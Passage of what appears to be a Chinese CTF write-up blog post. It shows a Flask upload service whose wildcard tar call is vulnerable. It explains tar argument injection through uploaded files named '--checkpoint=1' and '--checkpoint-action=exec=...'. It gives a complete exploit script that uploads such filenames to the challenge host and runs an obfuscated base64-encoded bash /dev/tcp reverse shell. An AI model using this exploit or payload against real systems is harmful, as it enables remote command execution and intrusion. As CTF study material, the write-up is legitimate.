    print(f"Day {day:02d} Response: {response.status_code} ")

    with open("1.txt", "a", encoding="utf-8") as f:
        f.write(f"Day {day:02d} Response: {response.status_code}\n")
        f.write(response.text + "\n\n")

threads=[]

for day in range(1,31):
    thread = threading.Thread(target=send_request, args=(day,))
    threads.append(thread)
    thread.start()

for thread in threads:
    thread.join()

打包给你

打包给我了(那我也没会,不还是得现学别人的),找到这个文件

from flask import Flask, g, render_template, request, redirect, make_response, send_file, after_this_request
import uuid, os

app = Flask(__name__)

@app.before_request
def check_uuid():
    uuid_cookie = request.cookies.get('uuid', None)

    if uuid_cookie is None:
        response = make_response(redirect('/'))
        response.set_cookie('uuid', str(uuid.uuid4()))
        return response

    try:
        uuid.UUID(uuid_cookie)
    except ValueError:
        response = make_response(redirect('/'))
        response.set_cookie('uuid', str(uuid.uuid4()))
        return response

    g.uuid = uuid_cookie

    if not os.path.exists(f'uploads/{g.uuid}'):
        os.mkdir(f'uploads/{g.uuid}')

@app.route('/', methods=['GET'])
def main():
    return render_template('index.html', files=os.listdir(f'uploads/{g.uuid}'))

@app.route('/api/upload', methods=['POST'])
def upload():
    file = request.files.get('file', None)
    if file is None:
        return 'No file provided', 400

    # check for path traversal
    if '..' in file.filename or '/' in file.filename:
        return 'Invalid file name', 400

    # check file size
    if len(file.read()) > 1000:
        return 'File too large', 400

    file.save(f'uploads/{g.uuid}/{file.filename}')
    return 'Success! <script>setTimeout(function() {window.location="/"}, 3000)</script>', 200

@app.route('/api/download', methods=['GET'])
def download():
    @after_this_request
    def remove_file(response):
        os.system(f"rm -rf uploads/{g.uuid}/out.tar")
        return response

    # make a tar of all files
    os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")

    # send tar to user
    return send_file(f"uploads/{g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8888, threaded=True)

这个段代码中

os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")

命令执行的时候,*会匹配所有的文件名并将匹配到的element传入到argv中.但是文件名也是字符串,参数也是字符串,因此在argv中会出现混淆
tar中我们可以用下面的组合去执行命令

--checkpoint=1 --checkpoint-action=exec=whoami

因此如果我们上传两个文件名分别为--checkpoint=1--checkpoint-action=exec=whoami的文件就能成功的去执行命令.
用这个脚本反弹shell

import requests, base64
URL = "http://27.25.151.80:44697/"
session = requests.Session()
cmd = b"bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}'"
session.request("GET", URL)

files = {"file": ("asdfasdf", "doesn't matter")}
resp = session.request("POST", f"{URL}/api/upload", files=files)

files = {"file": ("--checkpoint=1", "doesn't matter")}
resp = session.request("POST", f"{URL}/api/upload", files=files)

files = {"file": (f"--checkpoint-action=exec=echo '{base64.b64encode(cmd).decode()}' | base64 -d | bash", "doesn't matter")}
resp = session.request("POST", f"{URL}/api/upload", files=files)

resp = session.request("GET", f"{URL}/api/download")

flag在根目录,/Guess_my_name

总结

学了不少,做着很爽

欢迎指正、交流 ~ ~ ~

作者:Jaren
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0协议
转载请注明文章地址及作者哦 ~
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇